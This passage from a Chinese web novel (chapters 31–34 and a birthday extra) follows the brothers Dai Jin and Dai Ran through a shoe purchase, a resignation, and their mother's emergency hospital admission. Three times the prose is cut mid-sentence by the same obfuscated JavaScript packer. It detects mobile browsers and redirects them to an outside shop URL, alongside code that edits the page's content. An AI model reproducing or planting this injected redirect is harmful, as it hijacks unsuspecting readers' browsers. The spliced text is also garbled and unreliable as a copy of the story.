黛烬还记着自己来之不易的道歉,他止步,在黛燃面前低头,正好看见黛燃脚上穿的鞋,有自己的打算。 “道歉就要有道歉的样子,哥带你去买双鞋。” 黛燃也低头看,没想到今天又很巧合地穿着那双被他哥洗干净绳子,亲手系上蝴蝶结的鞋。 被临家的人带走的那天,他正好穿的是脚上这双,被关在家里那几天穿的都是拖鞋,走的时候才又重新换上。 这鞋他很喜欢,不懂为什么要换。 “买鞋?为什么?” 黛烬紧了紧黛燃的手。 “哥现在不欠债了,发了工资,就想给我们燃燃花钱。” 黛燃很高兴。 母亲说过,爱是最不值钱的东西,但钱在哪里,爱就在哪里。 他哥说想给他花钱。 他哥爱他。 两人坐出租车牵手,逛商超牵手,选鞋子牵手,直到两人一起去柜台结账,黛烬才终于把手从黛燃手里腾出来。 黛烬同时做两份工作,同时拿两份薪资,知道没有负债后,他毫不犹豫掏出自己刚到手的工资,给黛燃买下一双新鞋。 价签上赤裸裸的数字黛烬看在心里,他算过自己的存款,是够买下这双鞋的,所以看价签时眼都没眨。 黛燃却看得眼睛亮亮的。 黛烬发现了。 心想大概是黛燃喜欢这鞋,毕竟那鞋的价签上写的,和黛燃之前穿的那双是一个牌子,应该是黛燃喜欢的。 喜欢就行。 收银员刷好卡结完账,将银行卡礼貌地递回给黛烬,从柜台下拿出剪价签专用的剪刀,按规矩走流程。 “您好先生,请问一下价签要帮您剪掉吗?” 黛烬知道黛燃之前的习惯,摇了头,黛燃却一反常态,主动要求剪掉绳子。 “哥,我今天想剪掉。” 黛烬搞不懂,却也点了头。 他不懂黛燃在想什么,但只要黛燃高兴就成,只要黛燃高兴他就答应。 “谢谢哥!” 黛燃的语气听起来真的很高兴,黛烬就觉得这笔钱花得值。 “咔嚓——” 收银员熟练地剪下绳子,鞋子被妥善地收进包装盒,剪掉的吊牌和断绳也一并被收在盒子角落。 盒子被合上的前一刻,黛燃看着吊牌上熟悉的logo,眼眶发热。 那是他最喜欢的牌子,他哥是除他以外,第一个记住他喜好的人。 他哥记得,那他就不要拴住吊牌的绳子了。 虽然做局骗他哥欠债的事情如今提前被发现,但也算是因祸得福。 他哥爱他,那他就不要拴住他哥的绳子了。 看黛烬付完钱,黛燃迫不及待地重新牵住他哥的手,十指紧扣。 心里道歉,嘴上道谢。 “谢谢哥,我喜欢这双鞋子。” 黛烬接过鞋盒,牵着黛燃离开排着队的队伍,不打扰别人的秩序,才专心和黛燃咬耳朵。 “喜欢鞋子,还是喜欢哥哥?” 黛燃继多年前收到喜欢的玩具后,第二次为收到礼物而高兴。 他喜欢他的礼物,更喜欢送礼物的人,但他没说“喜不喜欢哥哥”,而是拉住黛烬要继续往前走的步子。 黛烬回身看过来,这才发现他原来和黛燃差不多高,两人平视,黛燃才把黛烬想听的情话娓娓道来,却比黛烬想听的郑重百倍。 “喜欢黛烬。” 31. 【烬】张嘴 【主管】:小黛,是不是最近有什么困难?工作不是做得挺好的吗,怎么忽然要辞职呀? 张嘴提辞职是再简单不过的事情,况且黛烬本来就身经百战,在拒绝领导挽留这方面也是经验丰富。 【dj】:不是,这段时间多谢您照顾,我这不是还年轻吗?想多试试看其他工作,也是给自己一个机会 主管一看他这套经典的“给自己一个机会”话术,就知道他差不多心意已决,默契地不再劝说。 成年人的世界,成熟的话术足以代替绝大部分的废话。 主管显然也深谙此道。 【主管】:行的,既然你想好了,我也就不劝你了,我这边先招人,到时候和你办一下交接工作,你就可以走了哈 【dj】:好的,麻烦您了 黛烬退出聊天框,又给另一份工作的主管打去电话。 电话刚打过去,耳边就传来一阵熟悉的电子女声。 “您好,您拨打的电话正在通话中,请稍后再拨——” 被挂电话了。 被上司拒接是常有的事,黛烬没当回事,打不了电话,发消息也是可以的,就是有点没礼貌,不过也没办法。 只靠这两份收入平平的工作,养活自己还行,但要想养得起黛燃,不知道要等到猴年马月。 他又想起虞藏木当初说的话了。 (想养他们临家的人,至少得有这样的资本才排得上号。) 他目前很显然没这个资本,但也不想让黛燃跟着他过苦日子。 反正他现在无债一身轻,黛烬决定干一票大的。 裸辞创业。 辞职信息黛烬编辑了足足半小时,删删减减,点击发送的前一刻,手机却忽然弹出一个电话,强行阻止了他的动作。 陌生号码。 黛烬看了眼电话归属地。 七八区,本地号码。 说来也怪。 他平常每个星期都会多多少少接到点骚扰电话和推销电话,但这群人最近却像是忽然被正义组织严打,直接绝迹了。 除了七八区的本地号码外,其他区的电话他连个影子都见不到。不过倒也是好事,给他省去了不少麻烦。 黛烬一般是不接陌生号码的,除非同一个电话打两遍,他才觉得打电话的人是真想找他。 但这次不同。 今天不知道是水逆还是和什么东西犯冲,他从起床开始就莫名心慌,早上做饭的时候还因为分神,不小心打碎一个碗。 电话铃声坚持不懈地响。 黛烬设置的铃声一向是舒缓的纯音乐,这样才不至于来电的时候让他烦躁。 今天他却觉得这曲子像是被人调了倍速,怎么听怎么吵。 看着绿色的接通健,黛烬鬼使神差地点了接听。 电话接通。 还没等他张嘴,对面的人像是等了他很久,不等他说话就先出声抢走话头。 “请问您认识黛水清女士吗?” 尽管知道这可能是诈骗电话,毕竟那群骗子最喜欢用这种话术开头,但黛烬还是毫不犹豫地承认了。 “是!她是我妈!” “麻烦您来一下第一人民医院吧,黛女士刚才被紧急送到我院,正在急救,现在急需亲属签字!” 接到这种电话的第一时间其实应该是核实对方身份,黛烬在网上学了好多应对诈骗的生活小妙招,自以为就算遇到,他也已经可以很好地应付。 但真到这时候,他才终于明白为什么在反诈工作如此全面的二十二世纪,仍然会有那么多人上当受骗。 他现在的表现和那些被诈骗的人一模一样。 “好!好!我马上就去!” 黛烬不小心碰倒桌上的杯子,硬物落地,砰的一声吓得黛烬一激灵,但他顾不上管了。 他妈出事了…… 卧室门不隔音,黛燃听到异动,几步从客厅走过来敲门。 “砰——砰——” 没人应,黛燃怕出事,直接推门进来了。 门的合页有点问题,每次推门都一卡一卡的,黛燃一着急,劲儿就跟着使大了,巨大的开门声吓了本就心惊胆战的黛烬一跳,手机瞬间脱手! 黛燃眼疾手快地上前,一手接住手机,一手不着痕迹地扶了他哥一把。 “哥别着急,发生什么事了吗?” 黛烬像是看到了救命稻草,顾不上手机,直接拉住黛燃的手腕。 “燃燃,现在还早,还没到出租车接单的时间,你有办法现在叫辆车来吗?我要去一医院,我妈出事了!” 黛烬慌得不行,感觉自己话都说不利索了,他从没像这样恐慌过一件事。 那是他妈! 他妈不能有事…… 黛燃也被这突如其来的意外惊住,但缓过神后马上答应下来。 “我有办法!哥你别急,我来联系,你去拿上身份证,去医院应该用的上,还有今天外面冷,哥穿太少了,去加一件外套等着我,我现在就叫车。” 黛燃除了一开始的语气激动,到后面就越说越镇定,有条不紊地安排好一切。 黛烬已经慌得六神无主了。 他长这么大,印象里他妈的身体一直都很好,家里也没有什么遗传病史,怎么会说病倒就病倒,甚至到了要送急救的地步。 都是他不好,要是他能争气点,多赚点钱,每年都定期带他妈体检,是不是就不会发展成现在这样…… 深不见底的自责情绪争先恐后地涌上心头,黛烬此刻才惊觉自己的无能,他对他妈的身体几乎一无所知。 他妈要是出事了要怎么办…… 他真的能承受得住吗…… 都是他不好…… 是他没用…… 黛燃看黛烬不动,伸手摸了下黛烬的掌心,被冰得打了个激灵,却没松手,反而将黛烬的手握得更紧,眼见暖不暖,便又把他哥的手往自己的脸上贴。 他一手给他哥暖手,一手开始摸手机打专车。 临家的车怕是打不了了,自从上次被抓回家,他私底下的关系也被母亲查得干净,为了不牵扯别人,他不能再用临家的人了。 黛燃想想,还是给季随之发去消息。 季家的背景比他们家只多不少,分布在七大居民区的专车网络不会比他少。 黛燃把地址给季随之发过去,简单交代几句就匆忙收起手机,给他哥拿衣服。 叫车容易,叫人难。 他脚下刚走出一步,手腕却立马被黛烬牵住,那力道像是要把他的手腕都生生捏断,他疼得直皱眉。 黛燃转眼一看,立马神色大变! 黛烬的状态不知道什么时候急转直下,捏紧他的手腕像是已经用掉了全部力气似的,松手后连身体都站不住了。 摇摇欲坠。 趁着黛烬松手的间隙,黛燃几步走到卧室靠墙的衣柜前,快速从里面找出一件他哥的外套,走回来用衣服将人包住。 “哥,哥你别担心。” 眼见叫哥黛烬根本没反应,像是魇住了一般,黛燃便直接上手捧住黛烬的脸,强行和他四目相对,直呼其名。 “黛烬!” 黛烬被喊得一愣,他还是第一次听黛燃用这样的语气喊他。 “你看着我,黛烬。” 黛烬不喜欢别人对他的人生指手画脚,甚至可以说是尤其讨厌,更讨厌别人直呼其名地命令他。 但黛燃除外。 黛烬自己都没注意到自己越来越不正常的状态,情绪已经处在崩溃边缘。 脑内一片空白,他下意识咬紧牙关磨牙,牙齿又控制不住地乱磕,耳边好像能听到嗡嗡的响声,好吵。 黛燃的命令却在此时传来。 “张嘴,不许咬。” 黛烬没思考,下意识听话地张了嘴。 手边没有东西,见黛烬张嘴,黛燃只得用拇指伸进黛烬的口腔,强行按住下排的牙齿逼黛烬冷静下来,不要咬到舌头。 指甲面上传来牙齿磕碰的声音,力道不大,速度却一点不慢,足以见得黛烬的状态有多差,从没差到这种地步。 黛燃逼着黛烬看向自己。 “有我在,阿姨不会有事的,你只需要照顾好自己,然后相信我,我一定可以帮你的,相信我,好不好?” 他从没见过他哥这么狼狈的样子。 眼眶是红的,不知何时盈满的泪水被主人强撑着才能不往下掉。 黛烬嘴里还含着他的手指,他的话貌似起了效,几个呼吸的功夫,牙齿磕碰指甲的频率便越来越慢。 黛燃抓住机会乘胜追击。 “现在放松,不要伤害自己,哥只要听我的,听我的安排,我保证一切都能好起来,放松身体,好不好?” 黛烬闭上眼止不住地点头,嘴里含糊不清地说好。 “好,好——” 黛烬终于冷静下来,缓过神后马上转过身,背着黛燃抹掉不小心落下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531637|203703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眼泪。 手机铃声再度响起,黛烬一看是挂了他电话的主管,赶忙接起来。 “黛烬啊,抱歉刚才在开会,没接你电话,是有什么急事吗?” 黛烬想起刚才是想打电话辞职,但没想到他妈忽然出这种意外。 短短几分钟,他的世界就天旋地转,现在根本没办法辞职,不仅不能辞职,他短期内怕是还要背上一份不菲的新债务。 医药费。 他妈被急救,正是需要钱的时候,他现在辞职,万一交不起钱再耽误治疗该怎么办…… 不能辞。 黛烬不由庆幸,还好刚才的信息没发出去,他迅速否定了之前幼稚又天真的想法,又觉得这个电话来的正是时候。 “是是是,主管,我现在确实有急事!但是——” 他不仅不能辞职,现在还紧急需要一笔钱用来缴费。 但他张不开嘴。 “怎么了吗?” 黛烬实在是难以启齿,但现实是一把锤子,会把每一颗咬紧牙关的牙齿都一一敲碎,逼着黛烬张嘴。 “我,我想和您预支点工资——” 电话那端瞬间安静。 黛烬的心也跟着揪起来。 顾不上不好意思,他只想靠自己拼命抓住他能抓住的每一根救命稻草! 黛烬匆匆喘了口气,习惯性用这个动作变相地给自己打气。 “我知道我刚进公司,这个要求太冒昧了,但是我家里现在出了点事情,我母亲忽然病倒了,我手头实在是缺钱……” 电话那端终于不再安静。 “哎,你的情况我也了解了,我帮你去和老板报备一下,尽力帮你争取争取。” 黛烬又喘了口气,不住道谢。 “谢谢,谢谢,真是太麻烦您了。” 还好主管善解人意。 “谁没个困难的时候,都理解的,你也照顾好你母亲,我给你先批一天事假。” …… 黛燃趁着黛烬接电话,也提前联系起自己的人脉关系,他把显示“通话中”的电话放在耳边,联系人的备注简洁清晰。 【七八区综合一院】 临家的产业遍布七大居民区,有人住的地方就有生意,富人区卖服务,穷人区卖资源,两手抓才能让利益最大化。 这家医院虽然是私立医院,可条件却并不比公立差,甚至因为资金充足,有钱投入医疗器械和实验研究,在一些方面拥有连公立医院都无法提供的医疗技术。 黛燃的声音冷静客气,自从离开临家和他哥在一起,他已经很久没有和这些人脉关系打过交道。 当时删通讯录时他毫不留恋,只留下了几个七八区可能用的上的人脉关系,其中就有这家私立医院的院长张院。 “张院,我这边有个患者正在一医院抢救,具体情况还不清楚,您看能不能麻烦给我留个位置,我马上给患者办理转院,挺着急的。” 黛燃没躲着黛烬打这通电话,他说了什么,黛烬离得不远听得一清二楚。 黛烬没阻止,也没上前。 黛燃电话刚挂,黛烬的话就猝不及防地传进他耳朵里,话里的意思再清楚不过。 他哥需要钱。 黛燃收手机的手一顿,因为焦急和紧张,从而微微发热的身体也一瞬间冷了下来。 也是,医疗这一块儿向来是烧钱的,但是他在这里,他哥宁愿去跟别人开口预支工资,也不愿意跟他张嘴要钱。 为什么呢? 是因为,根本没拿他当家人吗…… 黛燃静静地看着黛烬的背影不说话。 黛烬又和主管道了几遍谢,放下手机,盯着显示“通话中”的屏幕,礼貌地等待对面先挂电话。 电话挂断。 黛烬迫不及待地退出界面,把还没发出去的辞职信息长按全都删了个干净,才终于放下心。 心里的石头落地,还没等黛烬喘口气,身后就忽然传来黛燃幽幽的声音。 虽是问话,语气却肯定。 “哥,你缺钱。” 黛烬不敢转身,浑身像被冻住了一般僵硬,嘴巴也像是粘了强力胶,怎么都张不开。 在钱这方面,两人之间向来只有黛燃可以坦然地张嘴,张嘴要,张嘴给。 黛燃憋了很久的话,今天终于能趁着这个机会说出口,说得字字锥心。 他真的没办法理解。 “既然缺钱,那为什么不和我张嘴?” 32. 【生日特辑】送钱[番外] 2104年1月28日。 黛烬今天二十五。 生日和平常没有什么不同。 都是起床,吃早饭,出门,上班,午休时间去外面凑合一下午饭,继续上班,下班。 回家。 黛烬刚进门,开完锁的钥匙都还没来得及收好,手机就先抢着响了。 拿出来一看,三条未读短信。 这么多。 这下黛烬连钥匙都不管了,随手丢到鞋柜上,忙不迭点开短信。 看清短信来源的瞬间,一股无奈混杂着说不清道不明的情绪涌上心头,黛烬愣了一下就闭上眼,为自己先前的激动补上一个没用的笑。 短信不是人发的。 黛烬将随手扔在鞋柜上的钥匙重新拿起来,慢悠悠地挂回他钉在墙上的钥匙扣上。 钥匙扣的款式是一只蓝猫,眯着眼睛笑,笑得见牙不见眼。 那是他某天给摆地摊儿的老板送钱,套圈套中的。 一发入魂。 不过他其实套中的是只黄猫,但老板怎么说都不愿意给他,而是不知道从哪儿找来个蓝猫钥匙扣塞他手里。 意外之喜。 黛烬还就喜欢这只蓝色的。 收回视线,他拿着还亮着屏的手机往家里走,手机屏幕上还有三条等着他读的非人群发短信。 要说还是生在信息时代好啊,没隐私也不全是坏事,至少一到生日,全世界的问候,就都为了他争先恐后。 虽说本质也是利益交换,各个软件都专挑人脆弱的时候趁虚而入,送上祝福。 这样人这种情感动物就能记得它的恩情,感动之余,要是可以再顺手为他们制造点收益就更好了。 “没用的形式主义。” 黛烬骂骂咧咧地打开给他送祝福的软件,被姜太公钓鱼,挨个送钱。 购物软件。 好久没打开这个软件,连大数据都不知道他需要什么,主页推荐的都是他好几个月前喜欢的东西了。 可惜他三分钟热度,喜新厌旧,所以还是在购物车里挑几个吧。 黛烬工作一天累的实在没力气,更没心情划拉自己看不到底的购物车清单,就干脆挑时间最近的三个付款了。 送钱成功。 祝福短信已读。 接着就是那群喜欢搞诈骗的通信公司了,发信息也一向最积极,黛烬对他们的热线电话熟的不行。 “您好,请问有什么可以帮您?” 黛烬想了想。 “我想升级个套餐,升一级,只升一个月。” 他用不了那么多话费套餐,也不想送太多钱,话费套餐这种东西按月计费,送一级的钱就对得起那条祝福短信了。 送钱成功。 通信公司大度地又给他发了好几条提示业务办理成功的短信,刚好把那条最短的生日祝福顶到页面最顶端。 黛烬这次不嫌浪费时间,按住手机屏幕往下划,把生日短信从头到尾,逐字逐句看了一遍,这才把短信拉到最新一条。 那是一条通讯公司例行发送的客服评价短信。 【请为我们的业务打星】 黛烬给了五星好评。 祝福短信已读。 左滑屏幕退出,只剩下最后一条未读短信。 药店。 黛烬看得两眼一黑。 这药店送啥祝福?他又没病。 算了,买盒健胃消食片吧。 肚子饿得咕咕叫,刚下班还没捣鼓晚饭,黛烬觉得自己现在纯粹是吃饱了撑的。 花自己的钱,却像是在慷他人之慨。 送钱成功。 祝福短信已读。 * 等待健胃消食片外卖送货上门,黛烬仰倒在沙发上闭眼休息,肚子又不气馁地咕咕响,他这才想起自己需要吃饭。 不想吃饭。 话说生日该吃啥来着? 生日蛋糕。 黛烬又拿钥匙,锁好门,一口气闪现到离家最近的蛋糕店。 他盯着透明的玻璃柜看得入迷,里面的蛋糕琳琅满目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531638|203703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,真是乱花渐欲迷人眼。 蛋糕这种东西放在平常是有点舍不得买的,但今天过生日。 既然都是要送钱,那就得送个物超所值的。 黛烬摸摸下巴。 至少得让他这个大寿星满意吧。 “你好,我想要这个五寸的蛋糕。” “好的先生,我帮您包起来。” “谢谢,麻烦了。” “是您今天过生日吗?” “对。” 店员给他写了生日祝福。 送钱成功。 回家。 黛烬手里提着蛋糕,背后不知何时跟上来一只小猫。 小猫走路没声音,但灯和影子会暴露每一个孤单的生物。 黛烬看到了。 他走一步,余光里的小猫跟着走一步。 然后他停了,转身。 小猫尴尬又讨好地叫了一声。 “喵——” 黛烬先发制人,没蹲下身,没给自己心软的机会,甚至后退了一步。 “欸欸,我可没钱带你回家啊!” 这话好像有点伤人。 不知道小猫听不听得懂人话。 黛烬想想,还是蹲下身摸摸小猫头,自顾自解释起来。 “等我以后赚了钱,你再有眼力见点来找我,黛总肯定给你送钱,让你也过上好日子。” “喵——” 黛烬说完就走。 身后的小猫应该是听懂了他的话,不再跟踪,放他走了。 黛烬没回身,一路走到没开灯的路口,把脸全都藏在黑暗里才敢回头。 远处的路灯高高地挂着,一只蓝猫窝在路灯下,身上被它舔得很干净,干净得甚至不像流浪猫。 小猫的眼睛在晚上也格外亮堂,圆溜溜的眼珠像是被画家打了一笔高光,眼球外层是一层清澈透明的眼泪。 画猫点睛。 黛烬手里提着蛋糕,看着看着,他也忽然被点睛了。 黛烬,二十五岁生日快乐。 33. 【燃】开锁 “算了,我叫的车来了,我们先去医院,回来再说吧。” 黛燃看不得他哥难过,还是先退一步,看他哥逃也似地出了卧室,他又退后几步,从柜子里把他哥的身份证翻出来,确认没问题后才拿上出了卧室。 走出卧室就能看到家门。 黛燃一抬头,就见他哥站在门口等他,整个身体都被隔在门外,只有一只手伸进来按在鞋柜上,替他拦着家门。 他不再多说什么,从沙发上顺了自己的外套往门外走。 他哥的身份证被他收在口袋里,黛燃出了家门,边穿外套边等他哥锁门。 外套的拉链锁总是设计得很小,黛燃心里烦躁,就怎么都对不齐锁扣。 门锁的锁孔设计也不大,黛烬心里恐慌,钥匙怎么也插不进锁孔里。 同病相怜。 黛燃看到了,他不再拉自己的拉链,而是把他哥给他配的钥匙珍惜地从口袋里拿出来,每次开锁前都要把小小的钥匙仔细打量一遍,才捏着钥匙去锁门。 他哥情绪紧绷,握着锁就不撒手,他也不争不喊,而是直接托起他哥的手,顺势将自己的钥匙插进锁孔,拧紧。 黛燃拧得格外用力。 “咔嚓——” 刚拧完就后悔了。 骗人的,其实刚开始用力拧的时候就后悔了。 手在半空中顿住。 他知道他们现在得争分夺秒地出门,时间不等人,但偏偏是这样紧迫的时候,黛燃却忽然很想重新把这把锁打开。 没什么特别原因,也不是闹小孩子脾气。 黛燃只是忽然觉得黛烬这把锁,他以后怕是要开一次少一次了。 他有点杞人忧天,但又实在想不通。 明明是家门,为什么需要开锁呢? * 还好医院的门不需要开锁,二十四小时敞开,黛烬到了就第一个冲进去,抓着护士打扮的人语无伦次地求救。 “您好,你们这儿大概半小时前有送来一个急救的女病人,四十五岁,请问一下她现在在哪儿?” 路过的护士被黛烬抓着问,一时懵圈,黛烬没得到答案急得不行。 黛燃下车和司机打完招呼才往医院跑,进门正好看到黛烬火急火燎地找人,他顾不上还在通话中的电话,几步上前拉住他哥。 “哥,你跟我走。” 黛烬在车上就没和他说话,这会儿也顾不上两人闹的那点小别扭,谁说的话起作用黛烬就跟谁走。 黛燃终于如愿以偿地握住了他哥的手,愣了两秒,才把通话中的手机放回耳边,那是张院几分钟前刚打给他的。 “张院,我们已经到一院了,麻烦您派车现在来吧,我们这边抢救完就转院。” 黛燃说着,拉住他哥就往抢救室走。 来的路上他已经在官网上把医院的科室分布图看过一遍,知道抢救室的位置。 两人刚看到抢救室的门,迎面便跑来一个手拿知情同意书的护士,着急地问了身份就要把同意书往他们手里递。 黛燃退后一步,把他哥揽着轻轻往前推了一把。 护士就近原则,先问了站在前面的黛烬。 “您是黛水清女士的亲属吗?” 黛烬马上把知情同意书接过来。 “是是是,我是她儿子。” 护士拿下挂在胸口的笔,按出笔尖递给黛烬。 “这个您签一下吧,病人在里面等着抢救。” 黛烬强迫自己冷静下来,拿住笔就往护士指的位置签。 他对数字很敏感,笔尖和视线几乎一同捕捉到知情同意书上写着的预计花费金额,又同时顿住。 那不算是一笔天价,但也绝对是现在的他需要深思熟虑的数目。 可他没多停留,快速在右下角签了字,不过几秒,同意书上就落下了有点磕磕绊绊的两个字。 【黛烬】 * “黛烬是吗?” 黛燃握着他哥的手,替还没缓过神的黛烬把身份认下来。 “是。” 收费员把一张金属质地的卡片递过来,卡片的大小和身份证是一个规格。 “这是您的身份卡,请收好。” 黛燃拿好身份卡,牵着他哥在这家私人医院三楼仔仔细细地转,边转边解释。 “这里虽然是私立医院,但为了响应政策,也会对外收治病人。” 黛烬刚从他妈脱离生命危险的结果里缓过来,被黛燃带着熟悉这家转来的私人医院。 他只知道他妈被安排在三楼的一间VIP病房,估计还要在这里住一段时间,他当然得熟悉这里的办事规矩。 尽管笑不出来,黛烬还是对黛燃勉强地扯出笑容。 “是吗?” 黛燃说着,余光没忍住瞥了眼他哥,见黛烬正在手机上按计算器,数字不断相加,数目越算越大。 他快速收回视线,假装没看到。 “嗯,就是挂号有点麻烦,和公立医院有点不一样,但一般来这里的,都是熟人带着一起来,对流程什么的都熟悉。” 他哥好像对这个感兴趣,收起手机,重新把视线放回他身上。 “一般是什么流程呢?” 还没等他说话,他哥忽然将视线移到他的腰腹,伸手要来拉他。 黛燃以为要被抱,下意识张开手臂。 他哥也看愣了,没抱他,而是在他面前弯下腰,把他敞开的外套合拢,锁链捋直了,扣上,一口气拉到脖领的位置。 “怎么出来外套拉链都不拉?今天还挺冷的,感冒了怎么办?” 黛燃手臂还保持着微微打开的姿势,被这样问,眼圈“唰”得一下就红了。 憋了一路的委屈和不确定,忽然在他哥的这一声关心里烟消云散。 他哥还是在乎他的。 黛燃低下头,配合着像个小孩儿一样吸吸鼻子,抱怨起来。 “这锁扣太小了,我试了几次都没对准,拉不上。” 他哥沉默一会儿,不知道在想什么,半晌才说话,嗓音比平常都要干涩。 “这锁扣质量不好,要不就是有点小了,不适合你,下次换个质量好的,大点的锁,好开也好拉,配得上你。” 黛燃没听懂这话的话外音,沉浸在两人看似回温的感情里,只以为这话是他哥给他的关心,心里甜滋滋的。 “知道了哥。” 他哥不再多说,帮他穿好外套就作势要收回手。 黛燃见状,趁机握紧他哥空出来的手,他注意到他哥有迟疑,但最终也没缩,任由他握着了。 黛燃默默把紧握的两只手换成十指相扣,想着刚才说的话题,准备主动把话抛回去。 他哥问他医院的挂号流程。 他忽然庆幸自己是特权中的特权,不用挂号,正好借着这个机会教他哥。 “哥,我们还没挂号,我带你从头走一遍。” * “……就是这样,哥学东西快,这些流程都很简单的,有人带就能学会。” 黛燃说一步,他哥就认真地听一步,能帮上他哥的忙,对现在的黛燃来说就是最幸福的事情了。 两人正好转了一圈回到病房,黛燃把身份卡递给已经“学有所成”的黛烬。 他哥接过卡,按照他教过的那样,试着将卡按在病房门的感应区,只听“滴答——”一声水滴音,房门就应声开了锁。 这把锁不插钥匙,所以哪怕抖着手都能打开。 黛燃帮他哥推开门,自己却不进去。 “我还有点事情要办,哥你先在这里照顾阿姨吧,我办完事很快回来找你。” 他哥没多问,期间有过迟疑,但还是没开口,点点头先走进病房。 病房里的黛水清还没醒,黛燃贴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531639|203703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心地没开灯,侧耳和他哥轻声交代了水壶和常用生活物品的位置,帮忙轻轻关上门。 隔着病房门偷看,黛燃确认他哥按照他说的位置找到水壶后才放心地离开。 他一个人坐电梯下到一楼。 其实看病流程还漏了一步。 缴费。 不过这不是他哥需要考虑的事情,他就没打算教。 一楼的缴费处,收费员把黛燃递来的银行卡按在刷卡机上划,将机器吐出来的缴费收据和卡一并从窗口递出来。 “这是您的收据您收好,之后可以带着收据去相关部门报销部分费用,千万别弄丢了,没有收据是没办法报销的。” 为了响应联盟的政策,私人医院的部分消费也可以刷医保,就是要看报销人条件,由医院的相关责任处判定报销数额。 黛燃点头谢过,拿上收据和他哥的身份证往三楼的VIP病房走。 抢救比想象中的快,转院也比想象中的顺利。 一步一步来。 黛燃有条不紊地安排好一切,回到三楼打开病房门,却没见到他哥的人影。 哥去哪儿了? 黛水清已经醒了,病床被摇起来,她半靠在病床上,手里拿着被削了皮的苹果,还没吃。 一见黛燃进来,黛水清试探地喊了他的名字。 “你就是燃燃吧?小黛和我说了,真是麻烦你了啊。” 黛燃有点心不在焉的,但还是上前帮说话的黛水清掖了下被角。 他不知道要怎么照顾人,只见过他哥这样照顾他,所以有样学样。 “没事,应该的阿姨,您知道我哥去哪儿了吗?” 黛水清也被问愣住。 “啊,小黛刚说要出去接点水,这会儿应该在水房里,你刚才过来路上没看到他吗?” 黛燃不易察觉地皱了眉,他刚才一路上确实没看到黛烬,路过水房的时候还特意留意过,里面根本没人。 尽管心里疑惑,但他面上藏住没表现出来,而是露出一个温和的笑。 “刚才没注意。” 黛燃把缴费的收据不在意地对折,撕了三下,碎片随意地丢进垃圾桶。 “阿姨您先休息,我去找一下我哥,一会儿带他回来。” 黛水清刚做完手术,不好起来,只半躺在床上点头。 “好好,燃燃你去忙你的,阿姨能照顾好自己。” 出了病房,黛燃没怎么找,居然就真在水房门口看见了黛烬。 他刚准备上前,就见他哥在一个陌生男人面前蹲下,给人递去一瓶水。 黛燃站在原地,垂在身侧的手慢慢握紧。 他哥都没笑着给他递水呢,凭什么给个来历不明的陌生人递? 无处不在的占有欲,于苹果树来说毫无疑问是最强效的毒药,苹果树扎根地底,向上传输的每一滴养分都淬着毒。 苹果和苹果树都在饮鸩止渴。 黛燃觉得自己快腐烂了。 他本来就不是忍气吞声的性子,加快脚步就往他哥身边走。 他要让他哥知道,黛烬这棵树,一辈子只会开花结果一次。 没有长出第二颗果实的机会。 就算长了,他也早就给只种了一棵苹果树的果园上了锁,唯一的钥匙,从他这颗苹果出生起就和果核死死长在一起。 除了他以外,这把锁谁都别想开。 他会把和他抢养分的、多余的果实,一颗一颗地从树上摘下来。 黛燃很快走近站定,一把抢过黛烬递出的水,把他哥贴心拧开的盖子原封不动地拧回去,又给上了点儿劲。 他没发难,没当众给他哥难堪,而是转接了这瓶水,亲自递到讨厌的人手里。 黛燃递水,但全程一个眼神都没分过去,始终盯紧他哥,皮笑肉不笑,话里的指向再明显不过。 “哥,他是谁?” 34. 【烬】镜子 病房内很暗,只有透过窗户照进来的零星光影,却刚好够黛烬看清水壶位置。 他弯腰,把还没开封的水壶从地上拿起来,放在桌面上,轻手轻脚地拆包装。 新水壶还没装过水,外层的金属没沾上任何灰尘,干净得宛若一面弯曲的镜子,眼睛刚被吸过去,镜子就将趴在门外偷看的黛燃完整地收进水壶壁。 黛烬没转身,握着水壶提手的手一动不动,他盯着水壶上的画面目不转睛,像是个正在用眼睛拍摄爱人的摄影师。 这面“镜子”不平滑,稍稍移动就可以照出扁的、圆的、粗的、细的,各个形状的黛燃,黛烬边“拍”边忍不住勾起唇角。 黛燃偷偷摸摸地看,他偷偷摸摸地“拍”,他们都对着镜子偷偷摸摸地笑。 据说爱人的镜头有魔力,可以将人拍得比平常好看。 黛烬收了笑。 可他的镜头很差劲,又不敢光明正大地拍黛燃,还得借助一面歪七扭八的哈哈镜。 还好黛燃怎么拍都好看。 黛烬“拍”得太专注,以至于拆掉的水壶包装落在地上了都全然没发觉。 直到拍摄人物主动离开镜头,黛烬才恋恋不舍地将举起的水壶放下,提着把手准备出去接点热水。 